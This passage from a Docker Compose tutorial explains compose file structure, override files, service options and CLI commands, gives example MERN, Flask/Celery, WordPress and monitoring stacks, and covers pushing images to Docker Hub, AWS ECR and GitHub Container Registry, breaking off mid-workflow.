Caution: Use docker compose (no dash) — this is Compose v2 and the current standard. If an older tutorial uses docker-compose (with a dash), it is using v1 syntax. V2 is mostly backward compatible, but make it a habit to use v2.

# Check version — should show v2.x.x
docker compose version
# Output: Docker Compose version v2.24.5

# Old v1 (deprecated — do not use!)
docker-compose version

# If the Compose plugin is missing:
# Ubuntu/Debian
sudo apt update && sudo apt install docker-compose-plugin

# RHEL/CentOS/Fedora
sudo dnf install docker-compose-plugin

# macOS (auto-bundled with Docker Desktop)
# Windows (auto-bundled with Docker Desktop)

Compose vs Kubernetes — When to Use Which?

Use Case	Compose	Kubernetes
Local development	Perfect choice	Overkill
Small apps (< 5 containers)	Yes	Overkill
Single server deployment	Yes	Not needed
Auto-scaling	No	Yes
Multi-host clusters	No	Yes
Zero-downtime deploys	Limited	Yes
Production at scale	Limited	Yes
Learning curve	Easy (YAML)	Steep
Startup / small teams	Best fit	Overkill initially

Note: Start with Compose. Run a MERN stack locally using Compose; Compose is sufficient for a single VPS in production too. When traffic grows and auto-scaling becomes necessary, then invest in learning Kubernetes. The progression is: Docker → Compose → Kubernetes.

Compose File Structure

Annotated docker-compose.yml Structure

Understanding the full structure allows you to read any Compose file with ease:

# docker-compose.yml
# In Compose v2, the version field is optional/deprecated
# version: '3.8'  ← no longer required!

services:          # All containers are defined here
  web:             # Service name (also becomes the DNS hostname!)
    image: nginx   # Which image to use
    # --- OR ---
    build: .       # Build from a local Dockerfile

  api:             # Another service
    build:
      context: ./api               # Build context folder
      dockerfile: Dockerfile.prod  # Specific Dockerfile name

  db:              # Database service
    image: postgres:16

networks:          # Define custom Docker networks
  frontend:        # Frontend network (public-facing)
  backend:         # Backend network (private, for DB communication)

volumes:           # Named volumes (data persistence)
  db_data:         # Database files stored here
  redis_data:      # Redis data persistence

configs:           # Inject config files
  nginx_config:
    file: ./nginx.conf

secrets:           # Sensitive data (mainly for Swarm mode)
  db_password:
    file: ./secrets/db_password.txt

Tip: Service Name = DNS Hostname! In Compose, the service name automatically becomes the DNS hostname. If a service is named db, other containers can connect to it via db:5432 — not localhost or an IP. Compose handles this automatically via Docker networking.

YAML Best Practices in Compose

# Use quotes for strings containing special characters
environment:
  - DATABASE_URL="postgresql://user:pass@db:5432/mydb"

# Use literal block (|) for multiline commands
command: |
  sh -c "
    until pg_isready; do sleep 1; done
    python manage.py migrate
    python manage.py runserver 0.0.0.0:8000
  "

# YAML Anchors — avoid repetition (DRY principle)
x-common-env: &common-env      # &common-env = define the anchor
  NODE_ENV: production
  LOG_LEVEL: info
  TZ: Asia/Kolkata

services:
  api:
    environment:
      <<: *common-env          # *common-env = use the anchor (merge)
      PORT: 3000
      SERVICE_NAME: api

  worker:
    environment:
      <<: *common-env          # Reuse the same env vars
      WORKER_TYPE: email
      CONCURRENCY: "4"

Note: YAML Anchors — DRY Principle. YAML anchors (&name) and aliases (*name) let you write common configuration once and reuse it across multiple services. <<: *common-env means "merge all key-value pairs here." This is the same as the spread operator (...commonProps) in JavaScript.

Override Files Pattern — Multiple Environments

One codebase, different configurations per environment — this pattern is used in production-grade applications:

# File structure:
docker-compose.yml              # Base config (common settings)
docker-compose.override.yml     # Dev overrides — AUTOMATICALLY loaded!
docker-compose.dev.yml          # Development specifics
docker-compose.prod.yml         # Production specifics
docker-compose.test.yml         # Testing / CI specifics

# Development (auto-loads base + override):
docker compose up -d

# Production (specify files explicitly):
docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d

# Testing:
docker compose -f docker-compose.yml -f docker-compose.test.yml up -d

# Validate the final merged config:
docker compose -f docker-compose.yml -f docker-compose.prod.yml config

# docker-compose.yml (base)
services:
  api:
    image: myapp-api:latest
    environment:
      NODE_ENV: production

---
# docker-compose.override.yml (dev — auto-loaded!)
services:
  api:
    build: .                    # Build locally in dev
    volumes:
      - ./src:/app/src          # Bind mount for hot reload
    environment:
      NODE_ENV: development
      DEBUG: "true"
    ports:
      - "5000:5000"             # Expose port directly in dev

---
# docker-compose.prod.yml
services:
  api:
    restart: unless-stopped
    deploy:
      resources:
        limits:
          memory: 512M
    logging:
      driver: json-file
      options:
        max-size: "10m"

Tip: Best Practice: Override Files. Keep common configuration in the base docker-compose.yml. Put environment-specific settings in override files. docker-compose.override.yml loads automatically for development — place bind mounts, debug ports, and dev-only tools there. The production file should contain resource limits, proper restart policies, and logging configuration.

Service Configuration Deep Dive

Complete Service Configuration Reference

All the options available in a service, annotated:

services:
  myapp:
    # ──────────────────────────────────────────────
    # IMAGE vs BUILD — choose one
    # ──────────────────────────────────────────────
    # Option 1: Use a pre-built image
    image: nginx:1.25-alpine

    # Option 2: Build from a local Dockerfile
    build:
      context: .                    # Build context (folder with Dockerfile)
      dockerfile: Dockerfile        # Which Dockerfile? (default: Dockerfile)
      args:                         # Build-time arguments (ARG in Dockerfile)
        NODE_ENV: production
        APP_VERSION: "1.0.0"
      target: production            # Specific stage in a multi-stage build

    # ──────────────────────────────────────────────
    # CONTAINER NAME
    # ──────────────────────────────────────────────
    container_name: my-nginx
    # Warning: setting container_name prevents scaling!
    # docker compose up --scale myapp=3 will fail if container_name is set

    # ──────────────────────────────────────────────
    # PORTS — host:container
    # ──────────────────────────────────────────────
    ports:
      - "8080:80"                   # host 8080 → container 80
      - "443:443"                   # HTTPS
      - "127.0.0.1:9090:9090"       # Localhost only (secure!)

    # ──────────────────────────────────────────────
    # ENVIRONMENT VARIABLES
    # ──────────────────────────────────────────────
    environment:
      NODE_ENV: production
      DB_HOST: db                   # Use the service name — not localhost!
      DB_PORT: "5432"               # Use quotes for numeric values
      DB_NAME: mydb

    # Load from env_file
    env_file:
      - .env                        # Main .env file
      - .env.production             # Production-specific variables

    # ──────────────────────────────────────────────
    # VOLUMES — data persistence and bind mounts
    # ──────────────────────────────────────────────
    volumes:
      - ./src:/app/src:ro           # Bind mount, read-only (dev hot reload)
      - db_data:/var/lib/postgresql/data  # Named volume (production data)
      - /etc/localtime:/etc/localtime:ro  # Host timezone inside container

    # ──────────────────────────────────────────────
    # NETWORKS
    # ──────────────────────────────────────────────
    networks:
      - frontend                    # Public-facing network
      - backend                     # Private network (for DB communication)

    # ──────────────────────────────────────────────
    # DEPENDS_ON — startup order
    # ──────────────────────────────────────────────
    depends_on:
      db:
        condition: service_healthy  # Wait until db is healthy
      redis:
        condition: service_started  # Just started, not necessarily healthy

    # ──────────────────────────────────────────────
    # RESTART POLICY
    # ──────────────────────────────────────────────
    restart: unless-stopped
    # Options:
    # no           — do not restart (default)
    # always       — always restart
    # on-failure   — restart only on failure
    # unless-stopped — always restart unless manually stopped

    # ──────────────────────────────────────────────
    # COMMAND and ENTRYPOINT
    # ──────────────────────────────────────────────
    command: npm start              # String form
    command: ["node", "server.js"]  # Array form (preferred — shell injection safe)

    entrypoint: ["./docker-entrypoint.sh"]

    # ──────────────────────────────────────────────
    # HEALTHCHECK
    # ──────────────────────────────────────────────
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s       # Check every 30 seconds
      timeout: 10s        # Response must arrive within 10 seconds
      retries: 3          # Mark unhealthy after 3 failures
      start_period: 40s   # Wait this long after startup before checking

    # ──────────────────────────────────────────────
    # DEPLOY — resource limits
    # ──────────────────────────────────────────────
    deploy:
      resources:
        limits:
          cpus: "0.50"            # Max 50% of one CPU core
          memory: 512M            # Max 512 MB RAM
        reservations:
          cpus: "0.25"            # Minimum guaranteed CPU
          memory: 256M            # Minimum guaranteed RAM

    # ──────────────────────────────────────────────
    # PROFILES — optional services
    # ──────────────────────────────────────────────
    profiles:
      - debug   # Only starts with: docker compose --profile debug up

    # ──────────────────────────────────────────────
    # LOGGING
    # ──────────────────────────────────────────────
    logging:
      driver: json-file
      options:
        max-size: "10m"     # Log file max 10 MB
        max-file: "3"       # Max 3 log files (then rotate)

    # ──────────────────────────────────────────────
    # EXTRA HOSTS — /etc/hosts entries
    # ──────────────────────────────────────────────
    extra_hosts:
      - "host.docker.internal:host-gateway"  # Connect to host machine

    # ──────────────────────────────────────────────
    # DNS — custom DNS servers
    # ──────────────────────────────────────────────
    dns:
      - 8.8.8.8
      - 8.8.4.4

depends_on and Healthchecks — A Common Gotcha

Caution: The Default depends_on Behavior Is Misleading! A simple depends_on: [db] only guarantees that the db container has started — not that it is ready. PostgreSQL takes 5–10 seconds to initialize. If the api service tries to connect immediately, the connection will fail. Solution: use condition: service_healthy and define a healthcheck on the db service.

services:
  db:
    image: postgres:16-alpine
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U myuser -d mydb"]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 10s    # Give PostgreSQL time to initialize

  api:
    build: .
    depends_on:
      db:
        condition: service_healthy   # Wait until HEALTHY, not just STARTED!

Tip: Profiles — Make Dev Tools Optional. Using profiles, you can make certain services optional. For example, pgadmin (a DB GUI) is only needed in development — give it profiles: [debug]. It will not start during a normal docker compose up. It will only start with docker compose --profile debug up. This prevents debug tools from accidentally running in production.

Docker Compose Commands — Complete Reference

docker compose up — Start Everything

# Basic — start in foreground (Ctrl+C to stop)
docker compose up

# Detached — start in background (for production)
docker compose up -d

# Rebuild images and start (after code changes)
docker compose up --build

# Force recreate containers (even if nothing changed)
docker compose up --force-recreate

# Start only specific services
docker compose up -d api db

# Run multiple instances (for load balancing)
docker compose up -d --scale api=3
# Note: container_name must not be set when scaling!

# Start with a specific profile
docker compose --profile debug up -d

# Use a custom .env file
docker compose --env-file .env.prod up -d

# Remove orphan containers (not defined in the compose file)
docker compose up -d --remove-orphans

docker compose down — Stop and Clean Up

# Standard — remove containers and networks
docker compose down

# Also remove volumes (DATA LOSS — be careful!)
docker compose down -v

# Also remove images
docker compose down --rmi all     # All images
docker compose down --rmi local   # Only locally built images

# Stop but keep containers (do not remove)
docker compose stop

# Complete teardown — clean up everything
docker compose down -v --rmi all --remove-orphans

Caution: docker compose down -v — Data Will Be Deleted! The -v flag removes all named volumes. This means all database data is gone. This is useful for a clean restart in development, but never use it carelessly in production. Take a backup first.

docker compose logs — Debugging

# Logs from all services
docker compose logs

# Follow (live stream)
docker compose logs -f

# Logs from a specific service
docker compose logs -f api

# Last 100 lines
docker compose logs --tail 100

# With timestamps
docker compose logs -t

# Multiple services at once
docker compose logs -f api db

# Last 1 hour
docker compose logs --since 1h

# From a specific time
docker compose logs --since "2024-01-15T10:00:00"

docker compose exec vs run — What Is the Difference?

Feature	exec	run
Container	Runs inside an existing running container	Starts a new container
Use case	Debug a running service	One-off commands (migrations, etc.)
Service running?	Must be running	Service does not need to be running
Cleanup	Container remains as-is	Auto-cleanup with `--rm`

# ── docker compose exec ──────────────────────────────
# Run a command in a running container
docker compose exec api bash
docker compose exec db psql -U admin -d mydb
docker compose exec redis redis-cli

# Without TTY (for automation/scripts)
docker compose exec -T api npm test

# As a specific user
docker compose exec --user root api bash

# ── docker compose run ──────────────────────────────
# One-off command in a new container
docker compose run api npm run migrate
docker compose run api python manage.py createsuperuser

# Auto-cleanup after run
docker compose run --rm api npm test

# Override the entrypoint
docker compose run --entrypoint bash api

# With custom env vars
docker compose run -e DEBUG=true api npm start

Tip: exec vs run — Simple Rule. Need to do something in a running service (debug, inspect)? → exec. Need to run a one-off task alongside the service (DB migration, seed data, test run)? → run --rm. docker compose run --rm web python manage.py migrate is the standard pattern for Django/Rails migrations.

Other Useful Commands

# List services
docker compose ps
docker compose ps -a             # Include stopped services
docker compose ps --format json  # JSON output

# Build only (do not start)
docker compose build
docker compose build --no-cache api      # Ignore cache
docker compose build --parallel          # Build all in parallel

# Pull latest images
docker compose pull

# Push images to registry
docker compose push

# Validate the compose file (shows final merged config)
docker compose config

# Show running processes
docker compose top

# Restart services
docker compose restart
docker compose restart api

# Pause/Unpause (stop CPU usage, keep memory)
docker compose pause
docker compose unpause

# Create without starting
docker compose create

# Stream events
docker compose events

Tip: Validate Your Compose File. docker compose config is a very useful command that merges all override files and shows the final YAML. Catch typos, missing variables, and syntax errors before deploying. Use it in CI/CD too: docker compose -f docker-compose.yml -f docker-compose.prod.yml config --quiet.

Production Compose Examples — Real-World Stacks

Example 1: MERN Stack (React + Node + MongoDB)

Most relevant for React developers — a complete MERN stack with Compose:

# docker-compose.yml — MERN Stack
# Usage: docker compose up -d
# Variables are loaded from a .env file

services:
  # ────────────────────────────────
  # MongoDB Database
  # ────────────────────────────────
  mongodb:
    image: mongo:7.0-jammy
    container_name: mern-mongodb
    environment:
      MONGO_INITDB_ROOT_USERNAME: ${MONGO_USER:-admin}
      MONGO_INITDB_ROOT_PASSWORD: ${MONGO_PASSWORD:-password}
      MONGO_INITDB_DATABASE: ${MONGO_DB:-myapp}
    volumes:
      - mongo_data:/data/db
      - mongo_config:/data/configdb
      - ./mongo-init.js:/docker-entrypoint-initdb.d/init.js:ro
    networks:
      - backend          # Backend network only — no public access!
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "mongosh", "--eval", "db.adminCommand('ping')"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 30s
    logging:
      driver: json-file
      options:
        max-size: "10m"
        max-file: "3"

  # ────────────────────────────────
  # Node.js API Server
  # ────────────────────────────────
  api:
    build:
      context: ./api
      dockerfile: Dockerfile
      target: production    # Use the production stage of a multi-stage build
    container_name: mern-api
    environment:
      NODE_ENV: production
      MONGODB_URI: mongodb://${MONGO_USER:-admin}:${MONGO_PASSWORD:-password}@mongodb:27017/${MONGO_DB:-myapp}?authSource=admin
      JWT_SECRET: ${JWT_SECRET:-changeme-in-production}
      PORT: 5000
    volumes:
      - api_logs:/app/logs
    networks:
      - backend              # For MongoDB communication
      - frontend             # For receiving requests from React
    depends_on:
      mongodb:
        condition: service_healthy
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "node", "-e", "require('http').get('http://localhost:5000/health', r => process.exit(r.statusCode === 200 ? 0 : 1))"]
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 20s
    deploy:
      resources:
        limits:
          cpus: "0.50"
          memory: 512M
    logging:
      driver: json-file
      options:
        max-size: "10m"
        max-file: "3"

  # ────────────────────────────────
  # React Frontend (served via Nginx)
  # ────────────────────────────────
  frontend:
    build:
      context: ./frontend
      dockerfile: Dockerfile
      args:
        REACT_APP_API_URL: ${API_URL:-http://localhost:5000}
    container_name: mern-frontend
    ports:
      - "${FRONTEND_PORT:-3000}:80"
    networks:
      - frontend
    depends_on:
      api:
        condition: service_healthy
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://localhost/health"]
      interval: 30s
      timeout: 5s
      retries: 3

# ────────────────────────────────
# Volumes
# ────────────────────────────────
volumes:
  mongo_data:
    driver: local
    labels:
      - "com.myapp.description=MongoDB data volume"
  mongo_config:
  api_logs:

# ────────────────────────────────
# Networks
# ────────────────────────────────
networks:
  frontend:
    driver: bridge             # Public traffic comes here
  backend:
    driver: bridge
    internal: true             # No external access! Container-to-container only

Note: Production Pattern: Internal Networks. Apply internal: true to the backend network. This means MongoDB is never directly accessible from the internet — only the api service can reach it. This is a security best practice. The flow is: Frontend → API (via frontend network), API → MongoDB (via backend network). MongoDB has no public port exposed.

Example 2: Python Flask + PostgreSQL + Redis + Celery

Full-stack Python application with background task processing:

# docker-compose.yml — Flask + Postgres + Redis + Celery

services:
  # ────────────────────────────────
  # PostgreSQL Database
  # ────────────────────────────────
  postgres:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: ${DB_USER:-myuser}
      POSTGRES_PASSWORD: ${DB_PASSWORD:-mypassword}
      POSTGRES_DB: ${DB_NAME:-mydb}
    volumes:
      - postgres_data:/var/lib/postgresql/data
      - ./sql/init.sql:/docker-entrypoint-initdb.d/init.sql:ro
    networks:
      - backend
    restart: unless-stopped
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U ${DB_USER:-myuser} -d ${DB_NAME:-mydb}"]
      interval: 10s
      timeout: 5s
      retries: 5

  # ────────────────────────────────
  # Redis — Cache + Message Broker
  # ────────────────────────────────
  redis:
    image: redis:7-alpine
    command: redis-server --appendonly yes --requirepass ${REDIS_PASSWORD:-redis_secret}
    # appendonly yes = persist data even after restart
    volumes:
      - redis_data:/data
    networks:
      - backend
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "redis-cli", "--pass", "${REDIS_PASSWORD:-redis_secret}", "ping"]
      interval: 10s
      timeout: 5s
      retries: 3

  # ────────────────────────────────
  # Flask Web Application
  # ────────────────────────────────
  web:
    build: .
    environment:
      DATABASE_URL: postgresql://${DB_USER:-myuser}:${DB_PASSWORD:-mypassword}@postgres:5432/${DB_NAME:-mydb}
      REDIS_URL: redis://:${REDIS_PASSWORD:-redis_secret}@redis:6379/0
      FLASK_ENV: ${FLASK_ENV:-production}
      SECRET_KEY: ${SECRET_KEY:-change-in-production}
    ports:
      - "${APP_PORT:-5000}:5000"
    volumes:
      - app_logs:/app/logs
      - ./uploads:/app/uploads   # Persist user uploads
    depends_on:
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
    networks:
      - backend
      - frontend
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:5000/health"]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 20s

  # ────────────────────────────────
  # Celery Worker — Background Tasks
  # ────────────────────────────────
  celery_worker:
    build: .    # Same image as web!
    command: celery -A app.celery worker --loglevel=info --concurrency=4
    environment:
      DATABASE_URL: postgresql://${DB_USER:-myuser}:${DB_PASSWORD:-mypassword}@postgres:5432/${DB_NAME:-mydb}
      REDIS_URL: redis://:${REDIS_PASSWORD:-redis_secret}@redis:6379/0
    depends_on:
      - web
      - redis
    networks:
      - backend
    restart: unless-stopped
    deploy:
      resources:
        limits:
          cpus: "1.0"
          memory: 512M

  # ────────────────────────────────
  # Celery Beat — Scheduled Tasks (Cron-like)
  # ────────────────────────────────
  celery_beat:
    build: .
    command: celery -A app.celery beat --loglevel=info
    environment:
      DATABASE_URL: postgresql://${DB_USER:-myuser}:${DB_PASSWORD:-mypassword}@postgres:5432/${DB_NAME:-mydb}
      REDIS_URL: redis://:${REDIS_PASSWORD:-redis_secret}@redis:6379/0
    depends_on:
      - web
    networks:
      - backend
    restart: unless-stopped
    # Beat should have only ONE instance — do not scale it!

  # ────────────────────────────────
  # Nginx Reverse Proxy
  # ────────────────────────────────
  nginx:
    image: nginx:1.25-alpine
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/conf.d/default.conf:ro
      - ./nginx/ssl:/etc/nginx/ssl:ro
    depends_on:
      - web
    networks:
      - frontend
    restart: unless-stopped

volumes:
  postgres_data:
  redis_data:
  app_logs:

networks:
  frontend:
    driver: bridge
  backend:
    driver: bridge
    internal: true    # DB and Redis must not be directly accessible!

Tip: Same Image, Different Command! Flask web, Celery worker, and Celery beat all use the same build: . (same Docker image) but with different command values. This is efficient: build one image, run different processes. When code changes, only one image needs to be rebuilt.

Example 3: WordPress + MySQL

Classic CMS setup — useful for client projects:

# docker-compose.yml — WordPress + MySQL + Nginx

services:
  # ────────────────────────────────
  # MySQL Database
  # ────────────────────────────────
  mysql:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD:-rootpassword}
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: ${MYSQL_PASSWORD:-wppassword}
    volumes:
      - mysql_data:/var/lib/mysql
    networks:
      - wp-network
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "wordpress", "-pwppassword"]
      interval: 30s
      timeout: 10s
      retries: 5

  # ────────────────────────────────
  # WordPress (PHP-FPM)
  # ────────────────────────────────
  wordpress:
    image: wordpress:6.4-php8.2-fpm-alpine
    environment:
      WORDPRESS_DB_HOST: mysql:3306      # Use the service name!
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: ${MYSQL_PASSWORD:-wppassword}
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_content:/var/www/html/wp-content  # Themes, plugins, uploads
    depends_on:
      mysql:
        condition: service_healthy
    networks:
      - wp-network
    restart: unless-stopped

  # ────────────────────────────────
  # Nginx — Serve static files + PHP-FPM proxy
  # ────────────────────────────────
  nginx:
    image: nginx:1.25-alpine
    ports:
      - "80:80"
    volumes:
      - ./nginx/wordpress.conf:/etc/nginx/conf.d/default.conf:ro
      - wp_content:/var/www/html/wp-content:ro   # Serve static files directly
    depends_on:
      - wordpress
    networks:
      - wp-network
    restart: unless-stopped

volumes:
  mysql_data:    # Database files
  wp_content:    # WordPress uploads, themes, plugins

networks:
  wp-network:
    driver: bridge

Example 4: Monitoring Stack (Prometheus + Grafana + cAdvisor)

Monitoring production applications is essential. This stack tracks CPU, memory, and network usage of Docker containers:

# docker-compose.yml — Monitoring Stack
# Usage: docker compose up -d
# Access: Grafana → http://localhost:3000 (admin/admin)
#         Prometheus → http://localhost:9090

services:
  # ────────────────────────────────
  # Prometheus — Metrics Collector
  # ────────────────────────────────
  prometheus:
    image: prom/prometheus:latest
    ports:
      - "9090:9090"
    volumes:
      - ./prometheus/prometheus.yml:/etc/prometheus/prometheus.yml:ro
      - prometheus_data:/prometheus
    command:
      - --config.file=/etc/prometheus/prometheus.yml
      - --storage.tsdb.path=/prometheus
      - --web.enable-lifecycle         # Enable config hot-reload
    networks:
      - monitoring
    restart: unless-stopped

  # ────────────────────────────────
  # Grafana — Visualization Dashboard
  # ────────────────────────────────
  grafana:
    image: grafana/grafana:latest
    ports:
      - "3000:3000"
    environment:
      GF_SECURITY_ADMIN_USER: ${GRAFANA_USER:-admin}
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
    volumes:
      - grafana_data:/var/lib/grafana
      - ./grafana/dashboards:/etc/grafana/provisioning/dashboards:ro
      - ./grafana/datasources:/etc/grafana/provisioning/datasources:ro
    depends_on:
      - prometheus
    networks:
      - monitoring
    restart: unless-stopped

  # ────────────────────────────────
  # cAdvisor — Container Metrics
  # ────────────────────────────────
  cadvisor:
    image: gcr.io/cadvisor/cadvisor:latest
    volumes:
      - /:/rootfs:ro
      - /var/run:/var/run:ro
      - /sys:/sys:ro
      - /var/lib/docker/:/var/lib/docker:ro
    ports:
      - "8080:8080"
    networks:
      - monitoring
    restart: unless-stopped
    # cAdvisor communicates directly with the Docker daemon
    # which is why host paths need to be mounted

  # ────────────────────────────────
  # Node Exporter — Host Machine Metrics
  # ────────────────────────────────
  node_exporter:
    image: prom/node-exporter:latest
    volumes:
      - /proc:/host/proc:ro
      - /sys:/host/sys:ro
      - /:/rootfs:ro
    command:
      - --path.procfs=/host/proc
      - --path.sysfs=/host/sys
    ports:
      - "9100:9100"
    networks:
      - monitoring
    restart: unless-stopped
    # Node Exporter exposes host CPU, RAM, disk, and network metrics

volumes:
  prometheus_data:   # Time-series metrics data
  grafana_data:      # Dashboards and settings

networks:
  monitoring:
    driver: bridge

Note: What the Monitoring Stack Tracks. cAdvisor — CPU/RAM/network/disk usage for every Docker container. Node Exporter — hardware metrics for the host machine. Prometheus — collects and stores all data. Grafana — visualizes everything in dashboards. This monitoring setup is essential in production: you cannot improve what you cannot measure.

Note: Production Checklist for Compose Apps.

Add restart: unless-stopped to all services

Configure healthcheck on database services

Use internal: true on networks for sensitive services

Store passwords in a .env file — never hardcode them in the compose file

Add the .env file to .gitignore

Set resource limits (deploy.resources.limits)

Configure log rotation (max-size, max-file)

Keep images updated with regular docker compose pull

Container Registries

Just as npm registry stores packages, a Docker registry stores images. You build an image, push it to a registry, and anyone in the world can pull it.

Note: A Docker registry is a storage and distribution system for Docker images. Docker Hub is the default public registry, but you can use private registries for proprietary images. Think of it as GitHub for code — but for images.

Image Naming Convention

Every Docker image has a fully qualified name. The format is:

[registry/][username/]image[:tag][@digest]

# Examples — from simple to fully qualified:
ubuntu                                                        # Docker Hub official (implicit library/)
nginx:1.25-alpine                                             # Docker Hub official with tag
library/ubuntu:22.04                                          # Explicit official image path
username/myapp:v1.0                                           # Docker Hub user image

# Cloud registries
ghcr.io/username/myapp:latest                                 # GitHub Container Registry
123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:v1.0         # AWS ECR (region-scoped)
asia.gcr.io/myproject/myapp:latest                            # Google Container Registry
registry.gitlab.com/group/project/myapp:1.0                   # GitLab Registry

# Digest (immutable — safer than a tag!)
ubuntu@sha256:45b23dee08af5e43a7fea6c4cf9c25ccf269ee113168c19722f87876677c5cb2

Image Tagging Strategy

Tag Type	Example	Use Case	Stable?
`latest`	`myapp:latest`	Development	No — changes!
Semantic Version	`myapp:v1.2.3`	Production releases	Yes
Git SHA	`myapp:a3f1b2c`	CI/CD traceability	Yes
Branch name	`myapp:main`	Branch-based testing	No
Date-based	`myapp:20240115`	Nightly builds	Yes
Digest	`myapp@sha256:abc...`	Pinned dependencies	Immutable

Caution: Avoid the latest Tag! Using the latest tag in production is dangerous. If a new image is pushed, your deployment may update unexpectedly. Always use specific version tags in production — myapp:v1.2.3 or a Git SHA.

Tip: Best Practice: Multiple Tags. Tag a single image with multiple tags: myapp:v1.2.3, myapp:v1.2, myapp:v1, and myapp:latest. This gives users flexibility while maintaining immutable specific versions.

Docker Hub — The Default Registry

Docker Hub is the default public registry — like npm for JavaScript packages. Start with a free account and explore private registries once you hit the limits.

Note: Create an account at hub.docker.com. Free accounts include 1 private repository and unlimited public repositories. Use access tokens rather than passwords — they are safer.

Complete Docker Hub Workflow

# Step 1: Login to Docker Hub
docker login
# Username: yourname
# Password: (enter password or access token)

# Better: login with an access token (Settings → Security → New Access Token)
docker login -u username --password-stdin <<< "your_access_token_here"

# Step 2: Tag your local image for Docker Hub
docker tag myapp username/myapp:v1.0.0
docker tag myapp username/myapp:latest

# Step 3: Push to Docker Hub
docker push username/myapp:v1.0.0
docker push username/myapp:latest

# Step 4: Pull from anywhere in the world
docker pull username/myapp:v1.0.0

# Step 5: Logout (important on shared machines!)
docker logout

Rate Limits — Important for CI/CD

Account Type	Pull Limit	Time Window
Anonymous (no login)	100 pulls	Per 6 hours / IP
Free account (authenticated)	200 pulls	Per 6 hours
Pro / Team / Business	Unlimited	—

# Authenticate pulls in CI/CD to avoid rate limits
echo "$DOCKER_PASSWORD" | docker login -u "$DOCKER_USERNAME" --password-stdin

# Check your current rate limit status
TOKEN=$(curl -s "https://auth.docker.io/token?service=registry.docker.io&scope=repository:ratelimitpreview/test:pull" | jq -r .token)
curl -s --head -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest | grep -i ratelimit

Rate Limit Workaround — Mirror Setup

# /etc/docker/daemon.json — configure a Docker Hub mirror
sudo nano /etc/docker/daemon.json

{
  "registry-mirrors": [
    "https://mirror.gcr.io",
    "https://registry.docker-cn.com"
  ]
}

# Restart Docker daemon after the config change
sudo systemctl restart docker

# Verify the mirror is active
docker info | grep -A2 "Registry Mirrors"

Caution: CI/CD Rate Limit Problem. If your CI/CD pipeline pulls images anonymously (no docker login), rate limits are hit quickly — especially in large teams. Solution: always authenticate in CI, or mirror images to your own private registry.

Tip: Use Access Tokens, Not Passwords. Docker Hub Settings → Security → New Access Token. Tokens can be given specific permissions (read-only, read-write). If a token is compromised, only that token needs to be revoked — not the full account. Always use access tokens in CI/CD.

Other Registries — AWS ECR, GitHub, GCR

Docker Hub is not the only option. If you deploy to AWS, ECR is the best choice. If you use GitHub Actions, ghcr.io is a perfect fit. Here is how to use each.

AWS Elastic Container Registry (ECR)

Note: When to use ECR: When your application is deployed to AWS (ECS, EKS, Lambda). ECR images integrate automatically with AWS services — no extra authentication is needed when running on AWS with proper IAM roles.

# Prerequisites: AWS CLI installed and configured (aws configure)

# Step 1: Authenticate with ECR (generates a 12-hour token)
aws ecr get-login-password --region ap-south-1 | \
  docker login --username AWS --password-stdin \
  123456789.dkr.ecr.ap-south-1.amazonaws.com

# Step 2: Create a repository in ECR
aws ecr create-repository \
  --repository-name myapp \
  --region ap-south-1 \
  --image-scanning-configuration scanOnPush=true \
  --encryption-configuration encryptionType=AES256

# Step 3: Tag the image for ECR
ECR_URI="123456789.dkr.ecr.ap-south-1.amazonaws.com"
docker tag myapp:latest $ECR_URI/myapp:latest
docker tag myapp:latest $ECR_URI/myapp:v1.0.0

# Step 4: Push
docker push $ECR_URI/myapp:latest
docker push $ECR_URI/myapp:v1.0.0

# Step 5: Pull (from any authenticated source)
docker pull $ECR_URI/myapp:latest

# ECR Lifecycle Policy — auto-delete old images (save storage costs!)
aws ecr put-lifecycle-policy \
  --repository-name myapp \
  --lifecycle-policy '{
    "rules": [{
      "rulePriority": 1,
      "description": "Keep only last 10 images",
      "selection": {
        "tagStatus": "any",
        "countType": "imageCountMoreThan",
        "countNumber": 10
      },
      "action": {"type": "expire"}
    }]
  }'

# List images in ECR repository
aws ecr describe-images \
  --repository-name myapp \
  --region ap-south-1 \
  --query 'sort_by(imageDetails, &imagePushedAt)[-5:]'

GitHub Container Registry (ghcr.io)

GITHUB_TOKEN is automatically available in GitHub Actions — perfect integration:

# Step 1: Create a Personal Access Token (PAT)
# GitHub → Settings → Developer Settings → Personal Access Tokens
# Required scopes: read:packages, write:packages, delete:packages

# Step 2: Login to ghcr.io
echo $GITHUB_TOKEN | docker login ghcr.io -u USERNAME --password-stdin

# Step 3: Tag and push
docker tag myapp ghcr.io/username/myapp:latest
docker push ghcr.io/username/myapp:latest

# Make the image public (default is private)
# GitHub → Package → Package Settings → Change Visibility

# GitHub Actions — push to ghcr.io (automatic authentication!)
name: Build and Push
on:
  push:
    branches: [main]

jobs:
  push:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write        # Required for ghcr.io!

    steps:
      - uses: actions/checkout@v4

